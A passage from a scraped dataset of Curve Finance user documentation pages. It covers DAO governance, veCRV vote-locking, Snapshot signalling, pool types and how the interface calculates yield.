Proposals Proposals Table of contents Creating a proposal Type of votes Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Creating a proposal Type of votes Home Governance Proposals Proposals Once CRV holders vote-lock their veCRV, they can start voting on various proposals. Creating a proposal Anybody can create proposals but users need to follow the structure of a proposal which can be found by creating a new topic on the governance forum: https://gov.curve.fi/ Users who create proposals also need to create a corresponding CIP proposal at http://signal.curve.fi/ Using the signalling tool is completely free (no transaction fees) and you only need 1veCRV to create a proposal there. Assuming you have at least 2,500 veCRV, you can also create an official DAO vote as long as it also comes with its topic presenting it on the governance forum. Voting Type of votes Currently there are two type of votes: Signalling votes which are non-official votes only used to gauge interest from community ( https://signal.curve.fi/#/ ) Official DAO votes are the only way to enact changes on the Curve protocol ( https://dao.curve.fi/ ) 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Snapshot", - "html_url": "https://resources.curve.fi/governance/snapshot/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Snapshot Table of contents Voting Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Voting Home Governance Snapshot Snapshot is a signalling tool that allows governance participants to signal for free. As gas fees are here to stay on the Ethereum blockchain, Curve governance is now using a tool called Snapshot to allow governance users to signal their preferences on Curve proposals. Whilst this tool doesn't replace governance and will only be used to signal, it's a great way for holders of all sizes to make their voices heard as voting is completely free. Voting Head over to the signalling tool: https://signal.curve.fi/#/curve and connect your Metamask wallet. It should be the one where you hold your veCRV (vote locked CRV). Simply review your proposal, select your preferred option and click Vote: You will be prompted by Metamask to sign a transaction which is completely free and your voting vote will be counted according to your voting weight at the moment of the proposal creation. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Understanding governance", - "html_url": "https://resources.curve.fi/governance/understanding-governance/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Understanding governance Table of contents Voting on the Curve DAO Voting Power The DAO Dashboard Submitting proposals Emergency DAO Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Voting on the Curve DAO Voting Power The DAO Dashboard Submitting proposals Emergency DAO Home Governance Understanding governance Voting on the Curve DAO To vote on the Curve DAO, users need to lock vote lock their CRV. By doing so, participants can earn a boost on their provided liquidity and vote on all DAO proposals. Users who reach a voting power of 2500 veCRV can also create new proposals. There is no minimum voting power required to vote. Voting Power veCRV stands for vote escrowed CRV, it's a locker where users can lock their CRV for different lengths of time to gain voting power. Users can lock their CRV for a minimum of week and a maximum of four years. As users with long voting escrow have more stake, they receive more voting power. The DAO Dashboard You can visit the Curve DAO dashboard at this address: https://dao.curve.fi/dao On this page, you can find all current and closed votes. All proposals should have a topic on the Curve governance forum at this address: https://gov.curve.fi/ Submitting proposals If you wish to create a new official proposal, you should draft a proposal and post it on the governance forum. You must also research that it's possible and gauge interest of the community via the Curve Discord, Telegram or Governance forum. If you're not sure about the technical details of submitting your proposal to the Ethereum blockchain, you can ask a member of the team to help. Emergency DAO The emergency DAO multisig may kill non-factory pools up to 2 months old. It may also kill reward gauges at any time, setting its rate of CRV emissions to 0. Pools that have been killed will only allow users to remove_liquidity . See the members of the emergency DAO in the technical docs: https://docs.curve.fi/curve_dao/ownership-proxy/Agents/#agents The Curve DAO may override the emergency DAO decision of killing a pool, making it alive again. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Vote-locking FAQ", - "html_url": "https://resources.curve.fi/governance/vote-locking-boost/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Vote-locking FAQ Table of contents What is vote locking? What is the vote locking boost? When does the boost start? What are veCRV? How is your boost calculated? What if I provide liquidity in multiple pools? What happens if more people vote lock? How often does my boost records voting power changes? How can I apply my boost? How to know my boost is active? Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents What is vote locking? What is the vote locking boost? When does the boost start? What are veCRV? How is your boost calculated? What if I provide liquidity in multiple pools? What happens if more people vote lock? How often does my boost records voting power changes? How can I apply my boost? How to know my boost is active? Home Governance Vote-locking FAQ Answering all your burning questions about the vote locking boost What is vote locking? CRV holders can vote lock their CRV into the Curve DAO to receive veCRV. The longer they lock for, the more veCRV they receive. Vote locking allows you to vote in governance, boost your CRV rewards and receive trading fees. What is the vote locking boost? When vote locking CRV, you will also earn a boost on your provided liquidity of up to 2.5x. The goal is to incentivise users to participate in governance by rewarding them with a bigger share of the daily CRV inflation. When does the boost start? The boost will start on the 26 th of August 2020 around 11pm UTC. What are veCRV? veCRV stands for voting escrow CRV. They are your CRV locked for voting. The longer you lock your CRV for, the more voting power you have (and the bigger boost you can reach). You can vote lock 1,000 CRV for a year to have a 250 veCRV weight. Each CRV locked for four years is equal to 1 veCRV. The number of veCRV you will receive depends on how long you lock your CRV for. The minimum locking time is one week and the maximum locking time is four years. Your veCRV weight gradually decreases as your escrowed tokens approach their lock expiry. A graph illustrating the decrease can be found at this address: https://dao.curve.fi/locker How is your boost calculated? To reach your maximum boost of 2.5x, there are several parameters to take into consideration. You can find the current DAO voting power at this address: https://dao.curve.fi/locker You can find a calculator at this address: https://dao.curve.fi/minter/calc What if I provide liquidity in multiple pools? Your voting power applies to all gauges but may produce different boosts based on how much liquidity you are providing and how much total liquidity the pool has. What happens if more people vote lock? If other liquidity providers vote lock more CRV, your boost will stay what it was when you applied it. If you abuse this, another user can kick and force a boost update to take you down to your real boost. How often does my boost records voting power changes? Your voting weight decreases over time but your boost will take notice of your decreasing voting power at certain checkpoints like withdrawing, depositing into a gauge or minting CRV. For example if you start at 1000 veCRV and your voting power decreases to 800 veCRV, your boost will still use your original voting power of 1000 veCRV until a user checkpoint. How can I apply my boost? After creating or adding to your lock, you need to click the apply boost button to update your boost on each of the gauge you're providing liquidity in. Your boost can also be updated by depositing or withdrawing from a gauge. Click below for a guide on how locking and boosting your CRV rewards Boosting your CRV Rewards How to know my boost is active? If your boost is showing then it is active. If you have locked but your boost isn't showing then you need to apply it. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Voting", - "html_url": "https://resources.curve.fi/governance/voting/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Voting Table of contents How to participate in governance? What are veCRV? Can I start voting right away? How to vote? Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents How to participate in governance? What are veCRV? Can I start voting right away? How to vote? Home Governance Voting How to participate in governance? To participate in governance, Curve Finance users need to lock their CRV into a voting escrow. You can do so at this address: https://dao.curve.fi/locker What are veCRV? veCRV stands for voting escrow CRV. They are your CRV locked for voting. The longer you lock your CRV for, the more voting power you have (and the bigger boost you can reach). You can vote lock 1,000 CRV for a year to have a 250 veCRV weight. Your veCRV weight gradually decreases as your escrowed tokens approach their lock expiry. A graph illustrating the decrease can be found at this address: https://dao.curve.fi/locker Get more voting power by locking your CRV for a longer period of time. Can I start voting right away? You can only vote using your voting weight at the block where a proposal was created. How to vote? Simply visit the proposal of your choice, click your vote option and confirm your transaction. You can find DAO proposals at this address: https://dao.curve.fi/dao Where can I find out about governance? You can visit the Curve Finance governance forum at this address http://gov.curve.fi/ 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Community fund", - "html_url": "https://resources.curve.fi/governance/proposals/community-fund/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Community fund Table of contents Community Fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Community Fund Home Governance Proposals Community fund Community Fund CRV initial distribution allowed for a community fund of around $151M to be used in cases of emergencies or awarded to community-lead initiatives. The Curve DAO can decide to award part of this fund through a proposal. Creating a DAO proposal If you have a project you feel is deserving a grant, please create a proposal or come discuss it with a team member on Discord or Telegram. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Creating a DAO proposal", - "html_url": "https://resources.curve.fi/governance/proposals/creating-a-dao-proposal/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Creating a DAO proposal Table of contents Creating a DAO proposal Creating your vote Creating your proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Creating a DAO proposal Creating your vote Creating your proposal Home Governance Proposals Creating a DAO proposal Creating a DAO proposal Official DAO proposals are the only way to create enforceable change on the Curve protocol. There are currently two type of votes: parameter and text. Parameter votes are automatically committed to the DAO three days after they are enacted at the end of the vote. Text proposals are different as they will often necessitate development. For those, it is recommended to discuss with the Curve team to understand feasibility and create a signalling proposal. To create a new DAO proposal, you need at least 2,500 veCRV (2,500 CRV locked for four years or 10,000 CRV locked for one year). Creating your vote Visit the Curve DAO: https://dao.curve.fi/dao , select your type of vote and submit it. Creating your proposal Every DAO proposal must be accompanied with a proposal on the Curve governance forum. Visit the proposal section: https://gov.curve.fi/c/proposals/8 and click \"New Topic\" . You will then be presented with a template to help you present your proposed choices to the community. After that's done, be sure to engage with members of the community who have questions about your proposal. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Base- and Metapools", - "html_url": "https://resources.curve.fi/lp/base-and-metapools/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Base- and Metapools Table of contents Plain v1 Pools Lending Pools MetaPools Deposit FAQ Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Plain v1 Pools Lending Pools MetaPools Home Liquidity Providers Base- and Metapools Plain v1 Pools A plain pool is the simplest and earliest implementation of Curve, where all assets in the pool are ordinary ERC-20 tokens pegged to the same price. One of the largest is TriPool , holding only the three biggest stable coins (USDC/USDT/DAI). It's a non-lending gas optimised pool similar to the sUSD one. Depositing into the Tri-Pool In plain pools, your risks are as follow: Smart contract issues with Curve Systemic issues with the stable coins in those pools Systemic issues with Synthetix (for sUSD) As you can see, risks are different which might make this pool a better choice for you depending on what your concerns in the cryptosphere are. Lending Pools A small number of v1 pools are lending pools, which means you earn interest from lending as well as trading fees. The Compound pool is the first and oldest. The you see above stands for cTokens which are Compound native tokens. This means your stable coins in the Compound pool would only be lent on the Compound protocol. Another pool is yPool which are tokens for Yearn Finance, a yield aggregator. You might think that Compound doesnt always have the best lending rates and you would be right and thus the yToken balances automatically rebalance your stable coin to the protocol(s) with the better rates (Compound, Aave and dYdX). Its free and non-custodial (as is Curve) but it is also why the yPools are considered more risky as you use a series of protocols that could themselves have critical vulnerabilities. Pools like AAVE and sAAVE also lend on AAVE v2. Lending pools are generally more expensive to interact with. In those pools, your risks are as follow: Smart contract issues with lending protocols Smart contract issues with Curve Smart contract issues with iEarn Systemic issues with the stable coins in those pools Whilst its important to not underplay risks associated with providing liquidity on Curve or DeFi in general, its worth noting that all the protocols mentioned above have existed for several months (or more for Compound or iEarn) meaning they have been extensively time tested and exploit attempts have been numerous. MetaPools Metapools allow for one token to seemingly trade with another underlying base pool. This means we could create, for example, the Gemini USD metapool : [GUSD, [3Pool]]. In this example users could seamlessly trade GUSD between the three coins in the 3Pool (DAI/USDC/USDT). This is helpful in multiple ways: Prevents diluting existing pools Allows Curve to list less liquid assets More volume and more trading fees for the DAO The Metapool in question would take GUSD and 3Pool LP tokens. This means that liquidity providers of the 3Pool who do not provide liquidity in the GUSD Metapool are shielded from systemic risks from the Metapool. Metapools in the UI will have a deposit wrapped option to deposit the 3pool token. 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Calculating yield", - "html_url": "https://resources.curve.fi/lp/calculating-yield/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Calculating yield Table of contents Types of Yield Base vAPY CRV Rewards tAPR Incentives tAPR Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Types of Yield Base vAPY CRV Rewards tAPR Incentives tAPR Home Liquidity Providers Calculating yield Explanation of how the Curve UI displays yield calculations Like all documentation within this guide, this article is intended to be detailed but non-technical, outside of a few light mathematical formulas. While we highlight specific smart contract function names that the Curve UI may reference for convenience, no knowledge of coding is otherwise necessary to understand this article. Developers seeking a more in-depth explanation of these concepts should consult the technical documentation at https://curve.readthedocs.io/ Types of Yield Curve UI displaying different types of displayed Curve yield (tAPY and tAPR). In the above screenshot you can see a Curve pool has the potential to offer many different types of yield. The documentation provides an overview of the different types of yield here: Understanding $CRV Its important to remember that these numbers are a projections of historical pool performance. The user would get this rate if the pool performance stays exactly the same for one year. These yield types are: Base vAPY: Shown on the first line, this number represents the fees that accrue to holders of the LP token based on trading volume. More Info $CRV Rewards tAPR: Shown on the second line, the rewards tAPR represents the rate of $CRV token emissions one would have earned if the pool has a rewards gauge and the user stakes into this rewards gauge. The number is listed as a range of possible rewards, based on the users locked veCRV the size of this boost can vary. More Info Incentives Rewards tAPR: Some pools also choose to stream rewards in the form of a different token this is represented on the third line if applicable. vAPY stands for variable annual percentage yield , this value calculates an annualized estimate of the trading fee yield based on the past days trading activity, inclusive of any effect of compounding. The rewards tAPR stands for token annual percentage rate token rewards must be claimed manually and therefore do not automatically compound, so rate is the more proper term. Base vAPY When Curve pools are launched, they receive a value for both the fee (the overall fee applied to trades) and the admin_fee (the percentage of this fee that goes to the Curve DAO as opposed to pool LPs). These parameters are directly viewable on the smart contract through the corresponding function names. These fees are displayed on the Curve UI pool page: These parameters may also be updated in the future by the Curve DAO by calling the commit_new_fee method. If the fees are in the process of being changed, these are readable in the smart contract via the future_fee and future_admin_fee methods. The fees are specifically earned or charged every time a user interacts with a pool contract through a transaction which may affect the pool balances. For example, directly calling the exchange function would rebalance the pool, so a fee clearly applies. If you add or remove liquidity in an imbalanced fashion, this would also adjust the ratios of tokens within the pool and thus be subject to fees. No fees are charged if a user adds coin in a balanced proportion or on removal. When you call methods to preview how many tokens you might receive for interacting with a pool (ie get_dy or calc_token_amount ) the values they return are usually but not always inclusive of any fees the UI calculations are intended to make any corrections where appropriate, but be sure to ask the support team if you have questions. Theoretically, one could calculate the base vAPY for any period by calculating the fees for every transaction and summing over the entire range. However, the Curve UI utilizes a simpler methodology to calculate the base vAPY, where t is the time in days: $$ \\left[ \\frac{virtual\\_price({t=0})}{virtual\\_price({t=-1})} \\right] ^{365} - 1 $$ In other words, the vAPY measures the change in the pools \"virtual price\" between today and yesterday, then annualizes this rate. The \"virtual price\" is a measure of the pool growth over time, and is viewable directly on the UI. The UI receives this value directly by calling the get_virtual_price method on the pool contract. Every time a transaction occurs that charges a fee, the virtual price is incremented accordingly. Thus, when a pool launches with a virtual price of exactly 1, if the pools virtual price is 1.01 at some future time, an LP holding a token has seen the tokens value increase by 1%. $$ \\frac{1.01}{1.00} - 1 = 0.01 = 1\\% $$ A virtual price of 1.01 means an LP will get 1% more value back on removing liquidity. Similarly, new users adding liquidity will receive 1% fewer LP tokens on deposit. For pegged stablecoin pools, virtual price can easily be utilized to calculate vAPY of the pool since inception with no further calculations necessary. For v2 pools, one must also consider the fluctuating prices of underlying assets. For developers, here are more details about trade fees from the technical documentation: About Trade Fees Claiming Admin Fees Fee Distribution CRV Rewards tAPR The Curve DAO also authorizes some pools to receive bonus rewards from $CRV token emission, as described in the Understanding Gauges section of the documentation. If the pool has an eligible gauge, then the UI displays the range of possible tAPR values users are earning at present, subject to change in the future. The formula used here to calculate rewards tAPR: $$ tAPR = \\frac{(crv\\_price * inflation\\_rate * relative\\_weight * 12614400)}{working\\_supply * asset\\_price * virtual\\_price} $$ These parameters are obtained from various data sources, mostly on-chain: crv_price: The current price of the $CRV token in USD. This could be extrapolated from on-chain data, but the UI relies on the CoinGecko API to fetch this value. inflation_rate: The inflation rate of the $CRV token, accessed from the rate function of the $CRV token. relative_weight: Based on weekly voting, each Curve pool rewards gauge has a weighting relative to all other Curve gauges. This value can be calculated by calling the same function on the Curve gauge controller contract . https://dao.curve.fi/ working_supply: Accessed by calling the same function on the specific Curve gauge contract for the pool. asset_price: The price of the asset that is, if the pool contains only bitcoin, you would use the current price of $BTC. For v2 pools, this must be calculated by averaging over the specific assets within the pool. virtual_price: The measure of the pool growth over time, as described above. The magic number 12614400 is number of seconds in a year (60 * 60 * 24 * 365 = 31536000) times 0.4. In this case the 0.4 is due to the effect of boosts (minimum boost of 1 / maximum boost of 2.5 = 0.4). As shown in the UI, all tAPR values are displayed as a range, with the base rate on the left of the arrow representing the default rate one would receive if the user has no boost, and the value on the right of the arrow representing the maximum value a user could receive if the user has the maximum boost, which is 2.5 times higher than the minimum boost. Further details about calculating boosts are provided here . For developers, here are relevant links to the technical documentation: About Liquidity Gauges Gauge Controller Gauges for EVM Sidechains Gauge Proxy Incentives tAPR All pools may permissionlessly stream other token rewards without approval from the Curve DAO. The UI displays these bonus rewards only when applicable. In the example of stETH below, note how the pool is streaming $LDO tokens in addition to $CRV rewards. Pool Overview Page stETH Pool Page Further information on these extra incentives is available in the developer documentation. The Curve DAO: Liquidity Gauges and Minting CRV Curve 1.0.0 documentation 2023-09-28 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Charts and Pool Activity", - "html_url": "https://resources.curve.fi/lp/charts_poolactivity/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Calculating yield Charts and Pool Activity Charts and Pool Activity Table of contents Charts Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents Charts Pool Activity Home Liquidity Providers Charts and Pool Activity The Curve UI offers a variety of charts related to token prices , as well as an overview of exchanges and liquidity activities (such as adding or removing liquidity) for each pool.\" Info Chart and Pool Activity information is currently only available for pools on ethereum mainnet. Charts LP tokens are tokens received upon depositing assets into a liquidity pool. These tokens represent the holder's share of the pool and can be redeemed for a portion of the funds, plus any fees accrued over time. Similar to other tokens, their value is contingent on the prices of the underlying assets in the liquidity pool. Navigating to the Chart tab reveals a graphical interface of the LP Token price in relation to, for example, USDT. In the top right corner, options are available to expand/minimize or refresh the chart, as well as to adjust its timeframe. Clicking on LP Token Price (USDT) reveals a drop-down menu with additional charts. Pool Activity Besides a chart for prices, the UI also provides an overview of swaps and liquidity actions for the pool under the Pool Activity tab. On the Swaps tab, the interface shows the tokens swapped and the time of each transaction, indicating how many hours or minutes ago it occurred. Clicking on a specific swap will redirect the user to the transaction on Etherscan. Navigating to the Liquidity tab to display deposits and withdrawals in the pool. 2023-10-25 Back to top", - "labels": [ - "Documentation" - ] - }, - { - "title": "Deposit FAQ", - "html_url": "https://resources.curve.fi/lp/deposit-faqs/", - "body": "Curve Resources CurveDocs/curve-resources Home Getting Started Getting Started Understanding Curve (v1) Understanding CryptoPools (v2) $CRV Token $CRV Token Understanding CRV CRV Basics CRV Tokenomics Staking your CRV Claiming trading fees $crvUSD $crvUSD Understanding crvUSD Loan Creation & Management Loan Details & Concepts crvUSD FAQ Liquidity Providers Liquidity Providers Understanding curve pools Base- and Metapools Deposit FAQ Deposit FAQ Table of contents What is the deposit wrapped option? What happens when you provide liquidity on Curve? Does the coin I deposit matter? Understanding deposit bonuses But does that mean I can still withdraw in my favorite stable coin? How quickly does interest accrue/compound? What is arbitrage? What are incentivized pools? What makes the incentives APR move? Calculating yield Charts and Pool Activity Depositing Depositing Overview Despositing into the tri-pool Despositing into a metapool Despositing into the susd-pool Despositing into a cryptoswap-pool Despositing into a tricrypto-pool Reward Gauges Reward Gauges Understanding gauges Creating a pool gauge Boosting your CRV rewards Gauge weights Permissionless rewards Governance Governance Understanding governance Voting Snapshot Vote-locking FAQ Proposals Proposals Proposals Community fund Creating a DAO proposal Multi-Chain Multi-Chain Understanding multi-chain Bridging funds Factory Pools Factory Pools Understanding pool factory Creating a stableswap pool Creating a cryptoswap pool Understanding oracles Troubleshooting Troubleshooting Support Cross-Asset swaps Recovering cross-asset swaps Dropping and replacing a stuck transaction Disabling crypto wallets in brave Appendix Appendix Security Glossary Links Links Curve.fi Curve DAO Github Governance Forum Twitter Technical Docs Table of contents What is the deposit wrapped option? What happens when you provide liquidity on Curve? Does the coin I deposit matter? Understanding deposit bonuses But does that mean I can still withdraw in my favorite stable coin? How quickly does interest accrue/compound? What is arbitrage? What are incentivized pools? What makes the incentives APR move? Home Liquidity Providers Deposit FAQ What is the deposit wrapped option? (This applies to metapools or pools with c-tokens or a-tokens). If you deposit a stablecoin to one of the pools with lending, Curve will automatically wrap your 